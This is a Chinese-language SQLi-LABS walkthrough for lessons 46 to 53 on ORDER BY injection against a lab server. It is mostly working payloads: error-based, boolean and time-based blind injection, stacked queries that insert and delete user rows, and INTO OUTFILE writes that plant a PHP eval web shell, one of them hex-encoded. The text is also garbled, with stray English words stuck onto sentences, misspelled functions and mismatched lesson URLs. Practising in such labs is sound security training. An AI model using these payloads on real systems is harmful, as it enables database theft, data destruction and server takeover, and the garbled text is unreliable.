SQLi-LABS Page-3 (order by injections) Less-46-Less-53

 

關於order by 注入原理講解

注入原理php

1. 測試

?sort=1 desc--+
?sort=1 asc--+

顯示結果不一樣,說明能夠注入sql

desc是 descend 降序意思less

asc 是 ascend 升序意思測試

可利用 order by 後的一些參數進行注入ui

2. 利用

1)order by 後的數字能夠做爲一個注入點spa

order by 後的數字能夠做爲一個注入點。也就是構造order by 後的一個語句,讓該語句執行結果爲一個數,咱們嘗試3d

?sort=right(version(),1)--+code

?sort=left(version(),1)--+

沒有報錯,可是 right 換成 left 都同樣,說明數字沒有起做用,咱們考慮布爾類型。此時咱們能夠用報錯注入和延時注入。orm

procedure analyse 參數後注入blog

2)利用 procedure analyse 參數,咱們能夠執行報錯注入。同時,在 procedure analyse 和 order by 之間能夠存在limit 參數,咱們在實際應用中,每每也可能會存在 limit 後的注入,能夠利用 rocedure analyse 進行注入

完整句式是

select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)

3)將查詢結果導入到文件當中

3. 句式

1)報錯型注入

?sort=(select(要注入的語句))–+

?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select group_concat(database()) limit 0,1),0x3a,0x3a,floor(rand()*2)))–+

2)布爾型注入

?sort=rand(要注入的語句)–+

?sort=rand(ascii(left(database(),1))=115)–+

?sort=rand(true)–+

?sort=rand(false)–+

Ps:rand(true)和 rand(false)的結果是不同的,說明注入成功。

3)延時型注入

?sort=1 and (要注入的語句)–+

?sort=1 and (if((ascii(substr((select database() limit 0,1),1,1))=115),sleep(5),1))–+

?sort=1 and (select if(substring(current,1,1)=char(115),benchmark(50000000,md5(‘1’)),null) from (select database() as current) as tb1)–+

?sort=1 and (left(database(),2)>’sa’)–+

3)procedure analyse()

?sort=1 procedure analyse (extractvalue(1,concat(0x7e,(你但願的查詢語句))))–+

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)–+

?sort=1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)--+

4)將查詢結果導入到文件當中

?sort=1 into outfile 「/tmp/test1.txt」–+

?sort=1 and (select group_concat(username) from security.users limit 0,1) into outfile 「/tmp/test1.txt」--+

5)那這個時候咱們能夠考慮上傳網馬,利用 lines terminated by

Into outtfile /tmp/test3.txt lines terminated by 0x(網馬進行 16 進制轉換)

 

Less-46 報錯型 - order by 注入 - 整型

注入判斷:

http://10.10.202.112/sqli/Less-46?sort=1

http://10.10.202.112/sqli/Less-46?sort=1 desc limit 0,4--+

http://10.10.202.112/sqli/Less-46?sort=1 asc limit 0,4--+

 

能夠判斷存在注入

時間盲注

sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))--+

sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)--+

 

布爾盲注

?sort=rand(要注入的語句)–+
?sort=rand(ascii(left(database(),1))=115)--+
?sort=rand(true)--+
?sort=rand(false)--+
Ps:rand(true)和 rand(false)的結果是不同的,說明注入成功

 

procedure analyse 參數後注入

?sort=1 procedure analyse (extractvalue(1,concat(0x7e,(你但願的查詢語句))))--+
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
?sort=1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)--+

 

將查詢結果導入到文件當中
?sort=1 into outfile 「/tmp/test1.txt」--+
?sort=1 and (select group_concat(username) from security.users limit 0,1) into outfile 「/tmp/test1.txt」--+

http://10.10.202.112/sqli/Less-46?sort=1 and (select "<?php eval(@$_POST['a']); ?>") into outfile "C:\\phpStudy2018\\PHPTutorial\\WWW\\sqli\\1.php"--+

 

Less-47 報錯型 - order by 注入 - 字符型

SELECT * FROM users ORDER BY '$id'

' 進行報錯注入

http://10.10.202.112/sqli/Less-47?sort=1' and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

 

http://10.10.202.112/sqli/Less-47?sort=1' and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

 

時間盲注

 

http://10.10.202.112/sqli/Less-47?sort=1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

 

procedure analyse 參數後注入

http://10.10.202.112/sqli/Less-47?sort=1' procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

 

Less-48 報錯型盲注 - Order by 注入 - 整型

本關與less-46 的區別在於報錯注入不能使用,不進行錯誤回顯,所以其餘的方法咱們依舊是能夠使用的。

能夠利用sort=rand(true/false)進行判斷

http://10.10.202.112/sqli/Less-47?sort=1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+

 

Less-49 報錯型盲注 - Order by 注入 - 字符型

利用延時注入

http://10.10.202.112/sqli/Less-49?sort=1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

http://10.10.202.112/sqli/Less-49?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+

 

 

利用 into outfile 進行注入

http://10.10.202.112/sqli/Less-49?sort=1'  into outfile "C:\\phpStudy2018\\PHPTutorial\\WWW\\sqli\\hack404.php"  lines terminated by 0x3c3f706870206576616c2840245f504f53545b27636d64275d293b203f3e--+

https://cryptii.com/pipes/hex-decoder

 

注意路徑雙寫下\

 

Less-50 報錯型堆疊注入 - Order by - 整型

 

http://10.10.202.112/sqli/Less-50?sort=1;insert into users(id,username,password) values(110,'hack110','hack110')--+

 

Less-51 報錯型堆疊注入 - Order by 注入 - 字符型

http://10.10.202.112/sqli/Less-51/?sort=1';insert into users(id,username,password) values(111,'hack111','hack111')--+

 

Less-52 盲注 - 堆疊注入 - Order by 注入 - 整型

http://10.10.202.112/sqli/Less-52/?sort=1;insert into users(id,username,password) values(112,'hack112','hack112')--+

 

Less-53 盲注 - 堆疊注入 - Order by 注入 - 字符型

http://10.10.202.112/sqli/Less-53/?sort=1';delete from users where username like 'hack%'--+

待續!!!

相關文章
相關標籤/搜索